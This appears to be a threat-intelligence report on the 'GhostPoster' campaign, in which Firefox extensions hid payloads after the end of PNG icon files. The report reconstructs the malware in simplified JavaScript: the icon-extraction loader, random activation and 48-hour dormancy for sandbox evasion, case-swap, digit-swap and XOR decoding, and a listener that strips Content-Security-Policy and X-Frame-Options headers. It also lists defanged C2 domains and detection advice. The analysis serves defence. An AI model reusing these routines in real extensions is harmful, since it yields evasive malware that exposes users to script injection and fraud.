
The implicit trust model of browser extensions has once again been weaponized. In a campaign dubbed "GhostPoster," threat actors successfully compromised over 50,000 Firefox users by concealing malicious payloads within the very iconography of trusted add-ons. Unlike traditional supply chain attacks that modify executable libraries or inject malicious scripts directly, GhostPoster leverages steganography to append malicious logic to benign PNG files, bypassing standard marketplace static analysis.
This report, based on research identified by Koi Security, deconstructs the infection chain, the loader's probabilistic evasion mechanics, and the campaign's systematic abuse of the WebExtensions API to strip critical browser security controls.
Key Findings:
The GhostPoster campaign represents a significant evolution in browser extension compromise techniques. Rather than modifying JavaScript files directly—which would trigger hash-based integrity checks and code review scrutiny—the attackers embedded their payloads within image assets that are rarely subjected to deep inspection.
Traditional steganographic techniques modify the Least Significant Bits (LSB) of pixel data to encode hidden information. While effective for covert communication, LSB encoding has significant drawbacks for malware delivery:
GhostPoster instead employs an append-based injection technique. The PNG file format specification allows for arbitrary data to exist after the IEND chunk (which marks the official end of image data). Image renderers simply ignore this trailing data, displaying the image normally while the malicious payload remains invisible to visual inspection.
┌─────────────────────────────────────────────────────────┐
│ PNG Signature (8 bytes) │
├─────────────────────────────────────────────────────────┤
│ IHDR Chunk (Image Header) │
├─────────────────────────────────────────────────────────┤
│ IDAT Chunks (Compressed Image Data) │
├─────────────────────────────────────────────────────────┤
│ IEND Chunk (End Marker) │
├─────────────────────────────────────────────────────────┤
│ === (Delimiter) │
├─────────────────────────────────────────────────────────┤
│ [MALICIOUS PAYLOAD] │
└─────────────────────────────────────────────────────────┘
This approach provides several operational advantages:
The extension's background script contains a seemingly innocuous routine for processing its own icon resource. This code pattern, stripped of obfuscation, follows this logic:
// Simplified representation of the extraction mechanism
async function loadConfiguration() {
// Fetch the extension's own icon using the internal protocol
const iconUrl = browser.runtime.getURL('icons/logo.png');
const response = await fetch(iconUrl);
const buffer = await response.arrayBuffer();
// Convert to string for delimiter search
const uint8Array = new Uint8Array(buffer);
const decoder = new TextDecoder('utf-8');
const dataString = decoder.decode(uint8Array);
// Locate the hardcoded delimiter
const delimiter = '===';
const delimiterIndex = dataString.indexOf(delimiter);
if (delimiterIndex !== -1) {
// Extract everything after the delimiter
const payload = dataString.substring(delimiterIndex + delimiter.length);
// Execute the extracted code
executePayload(payload);
}
}
The Critical Decoupling: This architecture separates the malicious code from the extension's JavaScript files. During code review, auditors see only a generic file-parsing routine that reads the extension's own assets. The actual malicious logic exists in the PNG file, which is typically exempted from JavaScript code review processes.
The use of moz-extension:// protocol URLs (or chrome-extension:// in Chromium-based browsers) ensures the fetch request is same-origin, bypassing any CORS restrictions and avoiding external network indicators during the initial loading phase.
GhostPoster implements sophisticated anti-analysis techniques designed to frustrate both automated sandbox environments and manual dynamic analysis.
The loader executes its primary network callback only 10% of the time the extension initializes:
function shouldActivate() {
// Generate cryptographically random value
const array = new Uint32Array(1);
crypto.getRandomValues(array);
// 10% activation probability
return (array[0] % 100) < 10;
}
// Entry point
if (shouldActivate()) {
initiateC2Communication();
} else {
// Extension appears completely benign
console.log('Extension loaded successfully');
}
The Strategic Calculus: In a standard sandbox analysis workflow, an extension might be executed 3-5 times before being classified as safe. With a 10% activation rate:
This means that nearly 60% of sandbox analyses will observe only benign behavior, leading to false-negative classifications. The malware trades infection efficiency for detection evasion—a calculus that clearly favored the attackers given the campaign's success.
When the probabilistic check fails or when the initial C2 communication is unsuccessful, the malware enters a 48-hour dormancy period:
const DORMANCY_PERIOD_MS = 48 * 60 * 60 * 1000; // 48 hours
async function scheduleRetry() {
const lastAttempt = await browser.storage.local.get('lastAttempt');
const now = Date.now();
if (lastAttempt && (now - lastAttempt.timestamp) < DORMANCY_PERIOD_MS) {
// Still in dormancy period - remain silent
return;
}
// Record this attempt
await browser.storage.local.set({ lastAttempt: { timestamp: now } });
// Attempt C2 communication
if (shouldActivate()) {
await initiateC2Communication();
}
}
Sandbox Evasion: Most automated malware analysis sandboxes operate on time-limited cycles, typically ranging from 5-30 minutes. A 48-hour sleep cycle ensures that:
This temporal evasion technique is particularly effective because it exploits the operational constraints of security teams—maintaining 48-hour observation windows for every browser extension is simply not scalable.
When the loader successfully activates, it initiates a multi-stage payload delivery process designed to complicate attribution and resist analysis.
The primary C2 domains observed in this campaign were:
| Domain | Role | Historical Association |
|---|---|---|
liveupdt[.]com |
Primary C2 | Adware distribution |
dealctr[.]com |
Fallback C2 | "Riskware" categorization |
Strategic Domain Selection: The choice of domains historically associated with adware rather than malware is deliberate. Security Operations Centers (SOCs) typically prioritize alerts differently based on threat categorization:
By using infrastructure that triggers "adware" classifications, the attackers reduce the likelihood of immediate human investigation, buying time for persistence establishment.
The retrieved payload undergoes multiple obfuscation transformations before execution:
Layer 1 - Character Case Swapping:
function swapCase(str) {
return str.split('').map(char => {
if (char >= 'a' && char <= 'z') {
return char.toUpperCase();
} else if (char >= 'A' && char <= 'Z') {
return char.toLowerCase();
}
return char;
}).join('');
}
Layer 2 - Digit Substitution (8 ↔ 9):
function swapDigits(str) {
return str.replace(/[89]/g, match => match === '8' ? '9' : '8');
}
Layer 3 - XOR Encryption with Runtime ID:
function xorDecrypt(encryptedData, key) {
const keyBytes = new TextEncoder().encode(key);
const dataBytes = Uint8Array.from(atob(encryptedData), c => c.charCodeAt(0));
const decrypted = dataBytes.map((byte, i) =>
byte ^ keyBytes[i % keyBytes.length]
);
return new TextDecoder().decode(decrypted);
}
While the first two layers provide only superficial obfuscation (trivially reversible once identified), they serve to defeat naive pattern matching and string-based detection signatures.
The most sophisticated obfuscation layer is the XOR encryption using the extension's unique local Runtime ID. The WebExtensions API provides each extension installation with a unique identifier:
const runtimeId = browser.runtime.id;
// Example: "jid1-BoFifL9Vbdl2zQ@jetpack"
This identifier is:
Anti-Replay Implications: By encrypting the payload with a victim-specific key, the attackers ensure that:
The C2 server must receive the Runtime ID during the initial beacon, then encrypt the payload specifically for that client. This creates an additional network exchange but significantly increases operational security.
Once resident in the browser (persisted via browser.storage.local or IndexedDB), GhostPoster systematically degrades the victim's security posture by intercepting and modifying HTTP response headers.
The malware registers a listener using the webRequest.onHeadersReceived API to strip Content-Security-Policy headers:
browser.webRequest.onHeadersReceived.addListener(
function(details) {
return {
responseHeaders: details.responseHeaders.filter(header =>
!['content-security-policy',
'content-security-policy-report-only',
'x-content-security-policy'
].includes(header.name.toLowerCase())
)
};
},
{ urls: ["<all_urls>"] },
["blocking", "responseHeaders"]
);
Security Impact: Content-Security-Policy headers are the primary defense against Cross-Site Scripting (XSS) attacks. By removing CSP:
eval() function becomes available for code executionThis effectively returns the browser to a pre-CSP security model, enabling injection of arbitrary scripts into any page the user visits.
Similarly, the malware removes X-Frame-Options and Content-Security-Policy: frame-ancestors directives:
const headersToRemove = [
'x-frame-options',
'content-security-policy' // Also handles frame-ancestors
];
// Header stripping logic applied to all responses
Clickjacking Enablement: With frame-ancestor protections removed, the attackers can:
This technique is fundamental to the affiliate fraud scheme described below.
The stripped security headers enable two primary monetization and persistence mechanisms:
Affiliate Commission Hijacking:
Persistent RCE Backdoor:
The combination of header stripping and script injection creates a powerful platform for ongoing exploitation that survives beyond the initial infection vector.
Network Indicators of Compromise (IoCs):
liveupdt[.]com and dealctr[.]comEndpoint Detection:
webRequest and webRequestBlocking permissions that modify security headersBehavioral Indicators of Attack (IoAs):
Immediate Actions:
webRequest with <all_urls> accessPreventive Measures:
Recommended Improvements:
webRequest permissions and local file accessThe GhostPoster campaign demonstrates a concerning evolution in browser extension compromise techniques. By combining steganographic payload hiding, probabilistic evasion, and systematic security header stripping, the attackers created a persistent threat that evaded marketplace review, sandbox analysis, and traditional endpoint detection.
Key Lessons:
Trust Boundaries Need Reassessment: Browser extensions operate with significant privileges that users often don't fully understand. The implicit trust granted to "utility" extensions creates a substantial attack surface.
Static Analysis Has Limits: Code review processes that focus on JavaScript files while treating image assets as benign will miss append-based payload injection. Defense in depth requires treating all extension assets as potentially executable.
Time-Based Evasion Is Highly Effective: The combination of probabilistic activation and 48-hour sleep cycles specifically targets the operational constraints of security analysis workflows. Detection capabilities must evolve to account for long-dormancy threats.
Header Manipulation Is Undermonitored: The ability to strip CSP and X-Frame-Options headers effectively downgrades a modern browser's security model. Organizations should monitor for header discrepancies between server responses and client-side observations.
Victim-Specific Encryption Complicates Response: The use of Runtime ID-based encryption creates challenges for threat intelligence sharing and incident response. Traditional IoC sharing becomes less effective when payloads are unique per victim.
The GhostPoster campaign serves as a reminder that the browser extension ecosystem remains a high-value target for sophisticated threat actors. As browsers continue to expand their security models, attackers will continue to find creative ways to subvert those protections through the trusted channel of browser extensions.
Organizations should treat extension security with the same rigor applied to other software supply chain risks, implementing comprehensive monitoring, strict permission policies, and ongoing behavioral analysis to detect these evolving threats.

Ryan previously served as a PCI Professional Forensic Investigator (PFI) of record for 3 of the top 10 largest data breaches in history. With over two decades of experience in cybersecurity, digital forensics, and executive leadership, he has served Fortune 500 companies and government agencies worldwide.

Technical deep dive into CVE-2025-55182 and CVE-2025-66478—the React2Shell vulnerability chain that enables unauthenticated remote code execution through React Server Components' Flight protocol deserialization flaws.

Comprehensive technical analysis of the Shai-Hulud malware campaign that evolved from credential harvester to destructive wiper, demonstrating how fundamental security controls could have prevented the JavaScript ecosystem's most sophisticated supply chain attack.

Comprehensive analysis of the sophisticated SaaS supply-chain attack where ShinyHunters exploited OAuth tokens to compromise Salesforce instances through Gainsight, demonstrating the critical vulnerabilities in interconnected cloud ecosystems.